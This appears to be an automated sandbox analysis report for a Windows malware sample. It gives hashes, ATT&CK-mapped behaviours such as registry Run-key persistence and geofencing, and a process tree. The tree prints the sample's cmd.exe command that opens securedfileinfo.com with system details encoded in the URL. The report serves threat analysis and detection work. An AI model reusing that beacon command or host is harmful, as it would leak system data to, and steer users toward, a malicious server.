c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899

Analysis

max time kernel
158s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
27-11-2022 12:25

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General

Target

c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe
Size

143KB
MD5

29b0ebd5011a29fdf0e0d9a4e6f53069
SHA1

b7da31337cc801e9674f64e32c971fb3695b6c8f
SHA256

c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899
SHA512

d4a67c41a946f4c2c51caa039ddd344ea873dfd287e2019be3fb2dc4ff9f933bd97f1e927444b82c746fd6c074541d8d7ec908ff10cc94142fc9c0f85a677348
SSDEEP

3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45DQ:pe9IB83ID5E

Score

7^/10

persistence

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\e7cce6f6-7457-4a01-a6ef-e9a0f86535a8.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20221128103251.pma	setup.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3172	msedge.exe
3172	msedge.exe
4244	msedge.exe
4244	msedge.exe
1396	identity_helper.exe
1396	identity_helper.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4244	msedge.exe
4244	msedge.exe
4244	msedge.exe
4244	msedge.exe
4244	msedge.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4084	c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe
4244	msedge.exe
4244	msedge.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4084	c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 1372	4084	c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe	81
PID 4084 wrote to memory of 1372	4084	c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe	81
PID 4084 wrote to memory of 1372	4084	c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe	81
PID 1372 wrote to memory of 4244	1372	cmd.exe	83
PID 1372 wrote to memory of 4244	1372	cmd.exe	83
PID 4244 wrote to memory of 212	4244	msedge.exe	85
PID 4244 wrote to memory of 212	4244	msedge.exe	85
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 4532	4244	msedge.exe	88
PID 4244 wrote to memory of 3172	4244	msedge.exe	89
PID 4244 wrote to memory of 3172	4244	msedge.exe	89
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91
PID 4244 wrote to memory of 3688	4244	msedge.exe	91

C:\Users\Admin\AppData\Local\Temp\c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe
"C:\Users\Admin\AppData\Local\Temp\c951235484d5d4e563bd8a3a0b7ee773e627770c2bdd15fed7c3007aacb39899.exe"
1⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5300108^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt31^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1372
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5300108&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt31|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
    3⤵
    - Adds Run key to start application
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4244
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0x118,0x128,0x7ffbc9b746f8,0x7ffbc9b74708,0x7ffbc9b74718
      4⤵
      PID:212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2208 /prefetch:2
      4⤵
      PID:4532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2796 /prefetch:8
      4⤵
      PID:3688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
      4⤵
      PID:2976
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:1
      4⤵
      PID:3820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5676 /prefetch:1
      4⤵
      PID:4708
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6120 /prefetch:1
      4⤵
      PID:4580
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6136 /prefetch:1
      4⤵
      PID:3936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6840 /prefetch:8
      4⤵
      PID:1932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
      4⤵
      Drops file in Program Files directory
      PID:3328
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x23c,0x240,0x244,0x1d8,0x248,0x7ff79faa5460,0x7ff79faa5470,0x7ff79faa5480
        5⤵
        
        PID:948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2168,4534230231802315564,10516973231034698687,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6840 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1396

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3008

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
7ef66f502cb164d6d88fd779895d5e07

SHA1
75c68e887afe0041c18bc01dc36ae719db07a436

SHA256
084f8949af79ac48c5c245e4bbeea807949d1e8e182e7d0487227231fcd97a77

SHA512
419b6e5def7e1051af856ea4256235fa4f1bdbf001b54f1db9e59c44f7da8f9cfa8d63f77e35345ec6d5c3ab13de10094281d44f42a7e1fd9d92b3b68ac5ba9e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

Filesize
472B

MD5
03ad9fc0b00b5df3165dc2fb1e3b0a3e

SHA1
f8243335a8bc24d989bddd346048a055e1d0bdeb

SHA256
366b28d491f7fd632e31c1ce97f939555f7dcee14bb6875737ed2d3e96fa32ec

SHA512
a3cd8a001366e6c1b96d2b920d56e6efd34e9b69b9805e1a2b0c270346712e22420366f8bd18bbb1dd16fa60d481ad65b13385a66a3f1fa0d7aadaaa27b99796

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

Filesize
724B

MD5
f569e1d183b84e8078dc456192127536

SHA1
30c537463eed902925300dd07a87d820a713753f

SHA256
287bc80237497eb8681dbf136a56cc3870dd5bd12d48051525a280ae62aab413

SHA512
49553b65a8e3fc0bf98c1bc02bae5b22188618d8edf8e88e4e25932105796956ae8301c63c487e0afe368ea39a4a2af07935a808f5fb53287ef9287bc73e1012

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
7fee44c045d71fd2e3b0db508bb92ca8

SHA1
030f013e7686361ea35e08ca32f3b91eaeaa9ab0

SHA256
fcb3f9d9bd23f44d203dbeb0b41edaabfb1f67bdb10c15e788a16e42a9b6b0b9

SHA512
516b249bbe4df6e62cfc629429cb1ceaec2d118e4aa734709bc0318312eda0610e49fc944a2b333efb6930d97d60b79fc1bd3b570ab3f47c758f5305702f9590

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

Filesize
402B

MD5
89395ad493638f59f3cd1e5037cde7bb

SHA1
48dae7efb55e6a84bfdf4a5fc16781c6f05bacc5

SHA256
a88617627de3509e55c94f3cd16a419101cdbde44cefa14f9e0f7b9e5e6110fa

SHA512
f9bc2300a206167589a69526420d986b08db2cd8cc7facc05070fdcf61ec49f863b30b5188ad0d5bd3540b7a497a0a5332ecb60cfbd585bea237525d1403b688

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

Filesize
392B

MD5
d0ce612b13a1393bf5ff4d56856986db

SHA1
780e4ab59aeef65797d311b12db9574dddb3aace

SHA256
5b436f1e39474015de8d444954394b53467ced3223d7bfda551386843fcee1d7

SHA512
d2e3e8aa4343f92024e5faaec096e22392d51a4a7a640c7c62bb6159b43426f36204f2ec1e53a3d84dab1dcd44fefad83bb2d8ebdda4cfc39c9c0ad17625df10

Download Submit
memory/212-134-0x0000000000000000-mapping.dmp

Download
memory/948-158-0x0000000000000000-mapping.dmp

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memory/1372-132-0x0000000000000000-mapping.dmp

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memory/1396-159-0x0000000000000000-mapping.dmp

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memory/2976-144-0x0000000000000000-mapping.dmp

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memory/3172-137-0x0000000000000000-mapping.dmp

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memory/3328-157-0x0000000000000000-mapping.dmp

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memory/3688-140-0x0000000000000000-mapping.dmp

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memory/3820-142-0x0000000000000000-mapping.dmp

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memory/3936-156-0x0000000000000000-mapping.dmp

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memory/4244-133-0x0000000000000000-mapping.dmp

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memory/4532-136-0x0000000000000000-mapping.dmp

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memory/4580-154-0x0000000000000000-mapping.dmp

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memory/4708-150-0x0000000000000000-mapping.dmp

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